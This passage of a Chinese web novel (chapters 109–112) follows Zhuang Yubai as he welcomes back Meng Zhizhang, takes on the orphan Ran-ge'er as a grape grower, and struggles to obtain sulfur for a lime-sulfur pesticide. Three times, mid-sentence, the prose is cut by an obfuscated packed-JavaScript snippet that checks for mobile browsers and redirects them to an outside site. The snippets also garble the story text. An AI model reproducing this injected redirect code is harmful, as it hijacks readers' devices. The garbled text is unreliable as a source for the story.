额……庄聿白不知道又想到了什么，在树干的缝隙中，寻了个舒适的姿势，伸出胳膊，试探着迎抱回去。手臂从对方侧身穿过，从后背环住对方的一瞬，庄聿白发现凌驾自己之上的整个身躯，明显僵了一下。 良久，隔着一层薄薄的衣衫，孟知彰将人抱得更紧些。他胳膊强健有力，像两个遒劲的树干，将怀中人牢牢缠住。 “庄聿白，欢迎回家。” 声音很近，贴着庄聿白的耳垂，带起微微气声撩动鬓角的琥珀色发丝。耳尖传来的酥麻感瞬间传遍全身。 庄聿白不由自主打了个颤。 方胜窗棂的月影，在墙面上缓缓移动。十数日分别后的想念，在此刻得到了安抚和慰藉。 不知过了多久，庄聿白抬起下巴，严丝合缝抵进对方颈窝，紧紧贴着滚烫的胸膛，唤了句。 “孟知彰……” 庄聿白有许多话要说，可他一时又不知从何说起。他抿了下唇，正要再开口，忽觉玉山倾来，额头印上一个柔软的轻触……温热，又湿凉。 像彩色泡泡被洁白羽毛吻了下。 是一个吻？ 一切来的太快，庄聿白又不那么确定了。 109. 然哥 日子很快恢复常态。 孟知彰每日学院读书，庄聿白则在家处理金玉满堂和茶炭的生意，当然他大部分时间花在了庄子上。 孟家村带回的葡萄树和温室培育的葡萄幼苗亟需栽种，后山上的葡萄园址，庄聿白回来的第二日便定了下来。 庄聿白拿到管庄人周老汉给到的花名册起，便开始留意庄上擅种植之人。选中的第一人便是然哥儿。 然哥儿生得弱，不似一般庄户人那般结实，但做事细致周到，说话和风细雨，行动温文尔雅。庄聿白很欣赏，也很喜欢。而且见面的第一刻起，便让他有一种莫名的亲切感。 更关键的是，然哥儿一如名册上特意写的那一笔，“擅长蔬果栽培”。 然哥儿被带至庄聿白面前时，是一个阳光明媚的午后，庄聿白刚刚接管各庄，正拿着册子安排金玉满堂的人手。 “公子，这位就是然哥儿。” 管庄人周老汉早看出庄聿白的心思，说名字时特意加重语气。 庄聿白从名册上抬起视线，循声看去，只见堂下站着一个瘦弱的小哥儿。十七八岁的样子，一身短褐整洁朴素，却分毫难掩其眉宇间的粲然英气。 然哥儿个子不高，分外安静，扔进人群不显山不露水。可庄聿白就是觉得他与众不同。到底哪里不同，庄聿白一时也说不好。 更奇怪的是，虽是第一次见面，庄聿白却觉得他有种似曾相识的感觉。 原因在心中过了一圈又一圈，庄聿白最终将其归究为两个字，缘分。 然哥儿平时话不多，唇角似乎永远谦和地挂着笑意。手脚倒勤快，只是不太说自己的事情，对自己的过去也是惜字如金。 倒不是他不想同庄聿白交底，而是着实没什么好说的。时间久了，庄聿白从别人家常的言语碎片中，也大致勾勒出然哥儿的身世轮廓。 是个苦孩子。 六七岁上，被行走商队从路上捡来的，当时只剩一口气吊着。大家都说不行了，试着用水囊喂了几口水，半日竟睁开了眼，黑葡萄似的眼睛咕噜噜看着薛家商队之人。 虽只有一口气，到底是一条命，谁也不忍心看着就这么死在荒郊野外。众人便像只小猫一样，从堆的慢慢的货物中腾挪出一个小窝给他栖身，一路跟着往府城来。 这样齐整的孩子，总能找个好人家收养的。 当时卓阿叔脚还好着，也跟着商队走南闯北。他心肠软，心思也细，一路看护着小然哥儿。谁知这孩子不说话，心里却有主意的很。或许是投缘，等回到府城，说是帮小然哥儿寻个归宿时，这孩子竟死命攥紧卓阿叔的衣角不松手。 但卓阿叔自己也是个孤儿，一直到这个岁数也没成个家，好在薛家商队这晚饭吃着，不至于饿死。但说让他收养个孩子，那是断然使不得的。他连自己的未来都握不住，如何能撑起一个孩子的未来。 众人还是在府城内外帮然哥儿好好物色了几户人家。谁知都是没过几日便给送了回来，说孩子不吃不喝也不说话，八成是个傻的。谁也不想养个傻孩子。 最后还是卓阿叔留下了这个傻孩子。 有了孩子，便不能和从前那般天南海北跟在车辆后面跑，几个月不着家，那家中孩子交给谁呢？后来卓阿叔便带着他定居在小各庄，种上几亩地，给主家养些果木蔬菜等。 偶然的机会，卓阿叔发现然哥儿能识字，二话没说，当即便将家中所有换了束脩，送去一个老秀才开的私塾里去读了书。 这一举动引来不小轰动。众人皆笑卓阿叔疯魔了。一个捡来的傻孩子能活下来就不错了，真拿他当块宝玉来雕琢啊。哪怕真是块宝玉，咱这田地里刨食吃的佃户，能读出来个什么，纯属浪费钱。 “卓阿叔，你看看你自己这身行头。补丁摞补丁的衫子是洗了又洗。将大把大把钱拿去学几句不顶饿的之乎者也，莫如想着给自己攒钱养老是正经。” 卓阿叔不听他们的，让然哥儿也休信外面的胡话。读书能明事理，他不指望然哥儿将来如何如何，多是识字读书总归是好的。 好景不长，后来有一年卓阿叔雨天上山摔下来扭伤脚，落了病根，家中无以为继。然哥儿便自己拿定主意，从学中退了下来。 卓阿叔知道后气得绝食三日。说是气，实则是怨恨自己无能，不仅不能让然哥儿继续读书，还成了他的拖累。 这些然哥儿虽不说，心中哪能不明白。 他宽慰卓阿叔，学虽不去上，书还是会读的。先生知道他家情况，学中书籍任凭他借来读。而且私塾离家远，他每日往返步行一个多时辰，且路上隔着座山，万一遇到个豺狼虎豹……他自己也是怕的。现在好了，在家中读书，有不会的地方，隔几日去学中请教先生也是一样的。 卓阿叔腿上在床上躺了几个月，浑浊的眼泪便悄悄淌了几个月。爷俩的日子总得过，生活也总得向前看。 然哥儿此前都是去学堂前将家中能做的活计全部做好，晚上放了学回来，也是帮着阿叔忙前忙后。他生得小，身板弱，但倔劲大，自己能做的活计，总是做完才肯罢休。现在他长大了，卓阿叔也慢慢老去。家中大事小情，然哥儿也慢慢收到自己肩上扛起来。 相依为命的爷俩，生活虽清苦，但也这般一日一日过走了过来。 后来庄上建炭窑。即便是最小的力工每月也能贴补家中大几百文银子，足够爷俩日常用度了。管庄人刚将此消息当众公布，然哥儿立马报了名。 不过炭窑上的工作还是需要些力气的，卓阿叔和然哥儿这一老一弱的，着实没办法安排。而且这窑炭是帮着大公子给薛家贵人操办的，这也是薛家的脸面，选人方面自然苛刻些。 没能得到这份帮家中添补进益的营生，然哥儿倒也没什么，日子照常过。这些年爷俩也习惯了凡事被排在后面。 后来庄子换了新主人，就是此前大公子的贵人。他不仅是大公子的贵人，也是整个各庄的贵人，当然，更是然哥儿爷俩的贵人。 那时正值金玉满堂在各庄刚刚起步，庄聿白刚接了庄子，也想让更多人从中获益。 金玉满堂的生产大部分重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15425847|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工重力，但也有许多用精巧细致的活计，庄聿白见让然哥儿机敏聪慧，知书达理，便将让他跟在自己身边做些统筹安排以及坯片晾晒等事情。 当然在各庄后山新辟葡萄园一事，庄聿白早早就定下了。年后开了春，天气渐暖时，他着人在庄子议事堂旁建了个小暖房，将从孟家村带来的葡萄藤在暖房内扦插培植起来。 当然这位葡萄秧苗的保育员，就是然哥儿。 卓阿叔是种植菜蔬的老把式，这些经验自然全盘教授给了然哥儿。然哥儿向来聪颖，凡事一学便会，尤其这照料葡萄秧苗之事，更是如鱼得水，俨然葡萄培育的天选之子。 庄聿白带来的158根扦插枝条，成功发芽长叶的就高达148株，这远超庄聿白的预想。不知何时起，他心中便认定了请这位小哥儿做为各庄葡萄园的管理人。只是尚未明说。 此次回孟家庄，庄聿白将其中70株新苗带回去，又带回来54棵去年养了一年的葡萄树。凡事宜早不宜迟，他回来的第二日，各庄的葡萄园便定下地址正式着手动工了。 庄子上年轻力壮的，凡手上无急事者皆被雇佣来进行新园的开荒护理。除草、去石、深耕、翻晒、施肥、细翻……折腾了三四天，方初见成果。 依山傍水，视野开阔的一片葡萄园稳稳铺驻在了各庄后山。看去比云先生那片还阔朗些。 庄聿白十数日未回来，走进暖房一眼便见留下的78株葡萄新苗比此前高了半尺，叶片越发浓密油亮，心中自是欢喜。 金玉满堂和茶炭生意，目前都算平稳推进，难点也只在如何更大规模量产。葡萄园不一样。一切还是萌娃学步阶段。如何打好基础，这关乎接下来的葡萄酒前景，也关乎他心中所构想的葡萄事业的未来。 去年重在于培育葡萄植株，并未以挂果为导向，所以遇到的养护难题相对较少，也容易解决。好在去年扦插的葡萄新苗一路成功到冬，中间水肥充足，长势在庄聿白这位农学小百科这里也能称得上不错。 但对果木种植而言，虫害向来是一大难题。去年在病虫防治上也只以草木灰等匀洒、生石灰涂白等方式进行简单预防养护。 今年不一样。秋收后云先生家那一陶罐葡萄酒的成功酿制，让庄聿白信心大增。今年的葡萄酒量产势在必行，他已经规划葡萄酿酒坛的定制问题了。 “然哥儿，听说卓阿叔擅长种植，果木虫害方面有什么经验么？” 入乡随俗，庄聿白决定向这位各庄“前辈”取取经。 然哥儿从葡萄新苗丛上直起身，手里拿着一小把新掐下来的葡萄藤须。藤须消耗植株营养，越早除去越好。 “回公子，防虫的话，我阿叔主要以草木灰喷洒为主，有时也会引入一些天敌，比如青蛙、瓢虫等。当然春天烧荒深耕，冬天清园除杂等也能起些作用。” 庄聿白点点头，这是传统防虫害的一些手段，有成效，但相对较缓。他蹲下来一起将虚长的葡萄藤须掐下，手里时快时慢，心中盘算着现代农业中防治虫害的常用药剂——石硫合剂。 110. 药剂 薛启辰迎面走过来，像带着整个春天。 淡黄色绸缎长衫外搭着一袭浅灰色罩衫，腰间还系着一条鹅黄绦带，颜色明丽晴朗，看得庄聿白眼前一亮。 “我刚还绕去齐物山，见你家院门上了锁，便知你来了庄上。你这些时日不在，庄子上可还好？” 薛启辰一路赶得急，微微扯开衣领，掏出折扇往里扇起了风。他倒没什么急事，只是和庄聿白相处惯了，乍一分开很是不习惯，这才多久没见就小尾巴似地火急火燎寻了来。 “你来得正好，正有一事想请你帮忙。”庄聿白也没跟他客气，直接将人带至议事堂。 “你我两家这般亲近，哪里用得上‘帮忙’一词。快说什么事！” 然哥儿端来两盏茶，薛启辰没把自己当客，喧宾夺主自己接过一盏，另一盏顺手递给庄聿白。 倒是庄聿白宾客般道了声“谢”，然后将需要硫磺粉和生石灰之事说与对方。 “除菌杀虫的药剂？”薛启辰来了兴致，眼睛也亮了，“人若生了病，自有郎中开方用药。没想到这庄稼果木生了病，竟也有药剂可用？更没想到的是，琥珀兄你竟然会给它们诊病开方！” “都是听经验丰富的老把式们传授的，我也只是懂个皮毛。”庄聿白快速给自己的开挂技能想了个合理理由，“葡萄娇贵，虫害不及时防治，夏秋挂果时就只见叶不见果了。” 想着等秋天就能吃上葡萄，薛启辰高兴还来不及，便没再多想，认真帮庄聿白思考药剂原料问题。 “硫磺没问题，药材铺子常备，我今日回去跟长兄说下，想必最迟明日他便会安排掌柜的着人送来。生石灰么，问题也不大，我前些时刚见药铺伙计往店里搬，我当时还好奇，问这东西也能入药，倒被学徒伙计笑话了去，说我连这个也不清楚。放心吧，你要的东西，包在我身上！” 薛启辰信誓旦旦打了包票：“不知这硫磺和生石灰，各需多少？” 关于石硫合剂的使用时间和施药剂量，庄聿白心中有个小算盘。 葡萄春季萌芽前，为控制并清除病原菌同时预防虫害，需要进行整株喷淋兼根部灌溉。去岁冬季是填土过冬，没有清园也没进行枝干涂白，所以今年春天开园后这第一遍的用药还需彻底一些。 至于具体需要多少，因为涉及数字较多，向薛启辰报需求前，庄聿白在纸张上写写算算一番。 石硫合剂的合成，理论上并不困难。作为较常见的现代农业药剂，石硫合剂也是庄聿白实验课上的常客。虽说眼下条件比不得设备一应俱全的现代化实验室，但对于他而言，只要搞到原材料，药剂生成不是问题。 生石灰、硫磺粉和水按照1:2:10的重量比加热煎制，便会得到29波美度的石硫合剂药液。简言之，1斤生石灰，2斤硫磺粉用10斤水熬制，过滤去渣子后，便能得到10斤左右的29波美度的石硫合剂药液。 庄聿白在案上认真算着，忽窗外一阵风吹来，将笔下纸张吹起，原本就不太成型的字更潦草了两笔。他取了一旁的镇纸压住，视线不觉向窗外瞥了两眼。 天气渐暖，河边柳树已破新绿，议事堂前那株桃花的花芽也泛起粉意。等后山葡萄园开辟出来，孟家村带来的一年苗葡萄树植入园中的那刻起，石硫合剂的施用便需开始。 庄聿白启动自己的过往农学知识，认真落笔。 一年苗使用剂量是1株需1斤的4波美度药剂，108株全株喷淋并根部灌溉，就是108斤4波美度药剂，合29波美度药剂14.9斤。新扦插的158株新苗已经萌叶长蔓，浓度应大幅境地，0.5波美度药剂即可，3株1斤，需53斤，合29波美度药剂0.9斤。 眼下第一次施药所需29波美度药液15.8斤。按比例则需硫磺粉3.16斤，生石灰1.58斤。 当然，以上是理想情况下的数字，算上初期实验所需，再算上实操中的折损……庄聿白抵头略略沉思，“当前5斤硫磺粉，2.5斤生石灰，是需要的”。 这只是当前第一遍施药，半个月左右视情况，还需追施一次。孟家村往返一次，远没想象中那样简单，最好是一次性将两次所需药剂全部送回去。 如此想着，庄聿白又跟了一句，“若是有10斤，再好不多，这个春天的量差不多就够了。” 庄聿白将写满数字的纸张拿与薛启辰看。他过于专注，哪怕中间稍稍看一眼自己这个“小尾巴”，就会发现自己说“5斤硫磺粉”时薛启辰的眼睛已经开始不可置信地瞪圆了。 “10斤！”薛启辰跟着重复了句，“确定是10斤？以及琥珀兄你确定这是做药剂，而不是生产火药？” 平素跟着他家长嫂苏晗的时间较多，跟着的也多是茶坊、南北货行、成衣铺子等生意，药材方面都是他长兄薛启原全权负责。薛启辰虽不参与，但基本常识是有的。 硫磺虽是一味药，但此药较为特殊，10斤硫磺产出的火药，炸毁几个小山头是完全没问题的。所以硫磺某种意义上也属于战备物资。不过一般的药铺也确实需要这味药，尤其端午节前后，因为百姓用于驱毒辟邪的物品中就有硫磺。 没法全禁，又不能不管，所以官府对辖区内药材铺子中在售硫磺的进货量和储备量都大致有一定管控。 薛家在府城的药材铺子就有四五个，凑齐10斤硫磺问题不大。不过此数量之多，薛启辰还是需要回家同他兄长解释一番。好在是庄聿白开口，薛启辰虽自认不够聪明，但他能看出来，再难的事，只要孟知彰和庄聿白夫夫开了口，他兄长无不依允。 见薛启辰面露惊诧和震惊，庄聿白自然心中也跟着打鼓。薛启辰见状忙来安抚他：“10斤硫磺对一般铺子来说，那确实一时拿不出来，但琥珀兄别忘了，我们可是薛家，薛家岂有连10斤硫磺也凑不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15439576|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的道理？我回去同我兄长一说，保管给你留出来。” 庄聿白原也闪过一念，这是古代，生石灰和硫磺粉绝对不像现代社会那般易得，是不是可以降低需求，不过最少5斤是需要的。能搞来5斤，那10斤一定不成问题。加上薛家二少的保证，也便坚信原料之事不成问题。 “只是还有一件事……” 庄聿白正要拉过薛启辰衣袖道谢，却见竟然又打起哑谜，忙问：“何事？” 薛启辰并未急着回答，而是掏出一个鹅黄色荷包，打开取了一枚焦糖色硬糖果递过来， 庄聿白下意识接到手里，并没有吃，专心等着对方下半句。 “你做这什么药剂的时候，能不能带我一起？”薛启辰眼珠咕噜两下，“我只是好奇，保证不会偷师学艺。” 庄聿白送了口气，笑着摇摇头，将那颗糖果放进口中，清甜爽润，似乎还有一丝枇杷膏的余味：“等原料来了我们就开始做，到时还指着你来给我和然哥儿打下手呢，可不许偷懒！以及……这糖很不错。” 薛启辰也笑了：“这是枇杷梨膏糖，药铺新上的一批，清肺润喉的。当然这糖的起因还是我那位兄长专门让人给我长嫂做的，我长嫂吃着效果不错，才建议放在药铺试一试。提起他们两个哦，我都不想说……” “他俩怎么了？”庄聿白一顿，此前薛家大公子和少夫人多年不和，他们好不容易让二人冰释前嫌、和好如初，眼下不会又出问题了。 薛启辰嘴角弯起：“他们两个哦，好得蜜里调油，比这枇杷糖还甜。此前我常跟在我长嫂身边学生意，现在只要我兄长在西院，别说我，所有人都不太敢进西院一步。” 正说着，一只小飞虫落在薛启辰的鹅黄色荷包上。 薛启辰抬手将飞虫驱走，脸上带出嫌弃：“惊蛰一过，这些小飞虫们一夜之间全醒过来似的，我过来路上，有不少小飞飞一直朝我扑来，甚是恼人。” 庄聿白看着薛启辰这一身衣衫之色，接了折扇帮他扇着：“天暖了，今后避免穿这黄色系衣衫，折扇、香囊等黄色系配饰也要少用。春天这许多的小虫都具有趋光性，就像花蜜之于蜜蜂，黄色系的衣物对它们的吸引力也是致命的。所以你穿了这招蜂引蝶的衣衫，就别怪他们飞蛾扑火了。” 庄聿白向外看了看，此前倒未留意，空中小虫似乎真的多起来。他眉头不由蹙了蹙，这也意味着葡萄苗入园后的第一道难题已到眼前。 虽说时空不同，风土不尽不同，但防虫祛害仍是果蔬种植所需面临的重要课题。 薛启辰边扑小虫，边追了句：“硫磺和生石灰，最晚何时需要？” 自是越快越好。眼下虫蚁复苏，等它们成了气候，葡萄秧苗就要遭殃了。虽说求人办事已很不好意思。再强人所难限定时日，更让人心中过意不去。但农事为先，庄聿白还是开了口。 “明日或后日？” 111. 硫磺 知道此事着急，薛启辰没在各庄多留，一记马鞭返回城中去寻他兄长。 庄聿白留在各庄又向管庄人和然哥儿等交代了一些事情。药剂合成有风险，除了两口大的生铁锅外，庄聿白又让人准备了些简易口罩等物。 暖房中的幼苗可以暂时不移栽至园中，但孟家村带回的葡萄树等不及。 庄聿白带着然哥儿等人将54棵一年苗用自制生根水浸泡起来，又在整理好的园中根据光照地势等情况为每一棵逐一定好位置，做好明日向园中移栽的准备后，庄聿白便返程回家了。 还未到齐物山脚下，远远见薛启辰迎面骑马折了回来。估计是今日被小虫折腾烦了，一时又来不及换衣衫，便在外面罩了一件黑色披风。 披风略大，风中大开大合，像一面黑色旗帜。 庄聿白心中一紧，隐隐泛起不好的预感。 果然不是好消息。 大公子薛启原近日一直忙着军衣之事，家中不少生意都往后推置。目前事情告一段落，他将重心移回正轨，今日午后便出门往东边去了，说是去看一批货。具体是什么货物连少夫人也不清楚。 薛启辰将硫磺和生石灰之事回报长嫂苏晗。苏晗平日虽不管药材行的事情，但听闻要硫磺十斤时，还是蹙了蹙眉。 “生石灰倒好办，这硫磺……”苏晗顿了下，从手边匣子里取出一个木牌递给薛启辰，“这是你兄长那边的对牌，你先去各个药铺看下库存。” 将各铺子掌柜的叫来询问也是可以，只是事涉一味药材，若问他们铺子中尚余几斤几两，恐怕还要回去再着人盘点了再来回，莫如薛启辰自己亲自去着铺内伙计验过倒还快些。 薛启辰应着，将紫檀木牌接过来，正反看了看。 薛家人多事多，空口无凭，这对牌就相当行军打仗时的护符。拿它支银子、取东西都方便，也算有个凭证。 薛启辰平时跟着他长嫂学生意，拿的较多的是西院这边的对牌。西院这边对牌倒墨漆为底，印上薛家独有的家徽，中规中矩没什么特别。 但手上兄长那院的牌子，样式家徽等虽一如西院，只是这家徽下面还多了一个朱色团型图案，细看却是折枝荔枝，两颗果子浑圆可爱。看漆面磨损程度不像新做的，想来这是东院惯用的对牌。 薛启辰看看荔枝团纹又看了眼他家长嫂，没多说什么。硫磺之事要紧，他拿上牌子，出门跨马去了。 一个半时辰后，苏晗午后茶点刚摆在小案几上，薛启辰便风尘仆仆赶了回来。边摘肩上披风边向西院议事厅走，脸上甚至着急。 “四家药铺我都去过了，加起来库存不足2斤。这……”薛启辰进门向苏晗行了礼，便在一旁的椅子上坐了，可心中焦急又坐不住，索性满屋子走来走去，“这也有些太不合乎常理了。咱们薛家好歹也是药材大户，至少在府城也能排得上，怎么满打满算凑不出10斤硫磺。” 苏晗让墨儿给薛启辰递了盏茶：“硫磺此时确实有些时机不对。刚我将管家叫了来，其实这次运去西境的，除了军衣等日常所需，还有些药材之物。只是不便声张。” 苏晗一句不便声张，薛启辰立刻懂了，想必是硫磺、硝石和木炭之物。战场风云除了短兵相接，若有火药相助，想必士气大增。 当然这些军备物资都有相关衙门统理，而薛家送去的这些原材料和军衣一样，都是看在南先生的面子专项供给。或者更直白地说，也是为了孟知彰。 薛启辰各个铺子里查底的同时，苏晗将硫磺所需十斤之数说与管家。 管家听后倒吸一口气，用力捋起胡子：“换做往常，莫说十斤，就是五十斤对我们薛家药铺来说也不是难事。但好巧不巧，府城所有药铺只留了半月所需，其他硫磺全部虽军衣车队发去西边了。大公子的意思是此物非常用药材，先紧着西边。平素合作的货商那边也知会过了，说尽快将这次的空缺补上。” “何时补上？”苏晗问。 “快则七日，慢则半月以上。” 薛启辰将管家给到的这个时间说与庄聿白时，多少带着愧疚和不安。 一只飞虫在庄聿白面前悬停，他抬手挥走，心中聚上的却是层层叠上来的忧虑。 葡萄新芽娇嫩，等破了芽再施药，一则时间来不及，二则也容易伤叶伤根本。庄聿白满心焦虑懊恼，不过仍宽慰着对方，说是自己思虑不周，回孟家村之前就应该安排此事，才不至于留下眼下这各种掣肘的局面。 薛启辰提出铺子里所有硫磺库存明日全部送来各庄时，庄聿白想了想，拒绝了。几家大药铺只剩一斤多硫磺，想来都是用来应急的。与医治病人相比，果蔬施药还是需向后排。 庄聿白让薛启辰帮忙盯着给薛家供货的药材商，同时打算着派人各处采买一些应急。 薛启辰难得思虑周全一回：“若我们派人去别家药铺购买，这么大的量很容易引人猜疑，若被有心人捅出去，再编排几句，惹得上面注意，或闹出什么乱子来就不好了。” 庄聿白点头：“需分开少量购买。至于去采买的人选，也要再想想。若去别家买，府城总绕不过骆家。薛家出面不合适。哪怕是家丁也不行。你们两家在府城多年，想必都是混了个脸熟。被人发现薛家伙计去骆家买药材，满府城又会谣言四起了。” 庄聿白帮薛启辰系好披风绳带，目送对方离开。自己回家中取了包碎银子又急忙忙赶回各庄。 管庄人按要求召集了几位平素不太出门之人来议事堂。至少去骆家药铺买药时不至于一眼被认出来。 庄聿白往堂下看去都是些老实巴交的庄户人，虽说离府城不远，想必他们一年半载也去不了一次，对骆家那群伙计来说，自然都是生面孔。 管庄人周老汉将城中十几家药铺分派下去，每人最多去2家，每家最多买5两。不论有还是没有，不与对方多交谈。众人接了银子，也默默记下所需去的铺面地址。 庄聿白看了看人群中的然哥儿，心中略有犹豫。上次他不在时，骆家人劫持然哥儿之事他此事想起都心有余悸。若是被骆家人认出然哥儿…… “无妨的。那几人看上去是那位九哥儿的跟班，想来是在茶坊听差。我们这次去药铺买药，碰不到的。假若真碰到，我只说自己鲜少来城中，认错了铺面。光天化日，还是在他们骆家自己地盘，当着那么多客人的面，他们也不会怎么样的。” 然哥儿接了银子，细细数过1两银子又200文钱。 但天下事就是这样巧。 然哥儿平时很少进城，为数不多的几次也是到景楼送货。连薛家人很多都不认得他，更别提骆家药材铺子中人。 第二日然哥儿按计划进了骆家最大的药铺，只说家中人得了毒症，郎中说了需要这硫磺内服外施，特意来买半斤。 然哥儿说完便直接去袋子里取银两，不再多言。 抓药伙计一听要半斤硫磺，将来人上下打量几个来回，说外面存量不多，要去后院去取，让然哥儿略等等。 对方探究的眼神，然哥儿自然察觉出来，他心中紧锁，面上尽量保持平和。约莫过了半盏茶时间，来铺子里抓药之人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450878|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也走了两三个，却仍不见方才伙计出来。然哥儿有种不好的预感。他眸底暗了暗，想着实在不行就换一家，下次说买3两，数量少些估计就没这盘问环节了。 铺子里其他伙计看过来的眼神也变得奇怪时，然哥儿向柜台后面半掩的门帘外望了眼，仍没有人出来。于是他吸了半口气，打算同门边迎来送往的一位小厮说自己家中还有事，先行回家一趟，稍后再过来。 正走至门前，马上抬脚跨出门槛，方才进去取药的小哥从后面唤住：“小官人，您的硫磺好了。” 一张皮纸上堆了小丘似的鹅黄色粉末，闻上去还有种腐败鸡蛋的味道。然哥儿没见过硫磺，对方说是，自然就是。 然哥儿依价付了钱，并恭敬道了谢，拎着包好的一个四角药包便往外走。 有惊无险，还算顺利完成任务。然哥儿心中舒了口气，虽努力维持镇定自若的神态，脚下仍不觉加快了步伐，同时盘算着下一家该用个什么理由。 “哎——没长眼睛！” 然哥儿正低头出身，没留意装上铺面旁边闪过来的一个彪形大汉身上，对方一声厉吼着实吓了他一跳。他忙闪至旁边不停赔礼道歉。 对方哪里管他，非说然哥儿撞坏了他的衣衫，踩脏了他的鞋子，不赔个二两银子今日休想走。 “这位爷，是我不好，但我实在没有这么多钱。或者衣衫和鞋子我帮您洗一下……” 然哥儿抬头，心却被同时撞击了一下。此人不是旁人，就是九哥儿截货那日让然哥儿吃了几记肘击的打手。 对方几乎同时认出然哥儿，挤开一张笑脸：“哟！原来是熟人！” 对方满身酒气，脚下虚晃着，伸手就要来够然哥儿拎着的硫磺：“来买药？爷看看是什么！” 酒鬼难缠，然哥儿不想再生事端，夺路就要走，却被那人踉跄着拦住去向：“不对，你和薛家有生意往来，怎么不去薛家药铺买，来我们骆家……究竟为何？” 然哥儿后背猛地发冷，恐坏了主家的正事，正不知如何是好时，却又听对方一阵狞笑。 “不会是给哪个相好买的补药吧哈哈哈，要不让爷帮你试试！” 那大汉直接来夺然哥儿的硫磺，白兔哪抵劲豺，撕扯间，硫磺就在然哥儿的面前，豁然撒了一地。 然哥儿回去向庄聿白请罪时，泪花已经在眼眶打转。庄聿白将其拉起，宽慰道：“无妨。一定还有办法。” 连管庄人都看出来了，经此一闹，其他去分采硫磺之人也被紧急叫了回来。硫磺之事，暂时应该没办法了。 庄聿白见众人蔫蔫的，笑着打气：“那我们用老法子先挺一阵，等等大公子铺子里的硫磺。去年园中也没施药，不也平安过来了。都放宽心，没事的。” 然哥儿连忙止住泪，说这就回去烧些草木灰来，到时撒入园中暂且扛一扛这些小虫。 第二日一大早，薛启辰便来找庄聿白，要跟着一同去庄子上看葡萄移植。不过硫磺之事还在等药材商那边周转，尚未有更多消息，因此整个人也没往日闹腾。 不过今日倒是学乖了，一身暗色系衣衫，想来也是被最近几日的小虫折腾恼了。 “二公子只看不干可不行，等会你要帮着扬草木灰才行！” 二人闲话着往庄子上赶，刚进庄头，却见然哥儿早等在那里多时，眼神甚是焦虑。 “两位公子，出了件怪事！”然哥儿难得说话吞吞吐吐起来，薛启辰急得催促他三两次，他方将后面的事补齐，“不知谁送来一袋硫磺，十来斤是有的，就在议事堂。” 112. 茶室 十来斤硫磺？ 庄聿白不觉看了薛启辰一眼。很显然这不是薛家所为。 若是薛家给的，不至于一直帮忙此事的二公子不知情。再者，更不可能昨日两斤之数都凑不齐，今日去就能一下拿出十斤之多。 “当真是硫磺？”庄聿白将然哥儿拉上车，三人扬鞭疾行往议事堂赶。 “公子，是硫磺。和昨日买到的那包硫磺粉是一样的。” 庄聿白心中还是有个疑影，或许有人拿别物充当硫磺，是场恶作剧也未可知。但当他打开端端正正放在议事堂正桌上的那个细麻袋子，心中情绪复杂得半日未语。 硫化物独有的气味扑鼻，庄聿白捏了一小撮，姜黄色粗粝粉末在指尖揉搓两下，又将袋绳系好。 当真是硫磺。 庄聿白将袋子周身看了个遍，世面上常见的袋子，无甚特别，更找不出一字半句。看来就是故意送来庄上，且有意不想透露姓名。 各庄议事堂平时都是关闭的。庄聿白到庄子上时暂居此处办公，再就就是春耕秋种等重要农时或主家有重要消息统一知会众人时，才会开门议事。 虽不是什么机密之地，但由着一个不知名姓之人随意闯入闯出，确实不应该。 管庄人周老汉忙上前解释：“都查过了，议事堂并无东西遗失损坏，只单单多了这一袋子东西。这里的钥匙除了公子和老身，旁人都没有的，平时也不会有人来。昨夜打更人倒是绕过来看了几次，方才我也问过了，并没有发现什么异常。我知道今日公子还会来，一早开了门准备收拾收拾，便见这一袋子东西正正放在桌案上。当时我还以为是谁胡乱堆放东西，将周通骂了一通。问了一圈，可并没有人见过此物。都是老奴失察，还请公子恕罪。” 庄聿白将周老汉扶在一旁椅子上坐了：“周伯言重了。想必对方就是不想人知晓其行踪，才在暗夜送来。门窗等皆完好无损，看来来人也是有些子功夫在身上。” 薛启辰若有所思，他拎了拎这一袋子“不速之物”：“短时间内一下搞到这么多硫磺，满府城除了我们薛家便是那一家。可他们明明知道你与我们家交好，有什么理由出手相助？琥珀，这其中……不会有诈吧？” 说到“有诈”，薛启辰的眼睛都圆了。他看着桌上的这一袋硫磺，就像看着一个不知何时会爆炸的怪物，慌忙上前将庄聿白扯远一些，小心猜测，“琥珀，莫非这不是硫磺，而是……” “就是普通硫磺。放心。”庄聿白拍拍他的肩膀，宽慰道，“至于送硫磺之人，虽尚不知是何人，但有一点可以明确，急难之时送所需之物，来者非敌。” 庄聿白没有将话再说下去。 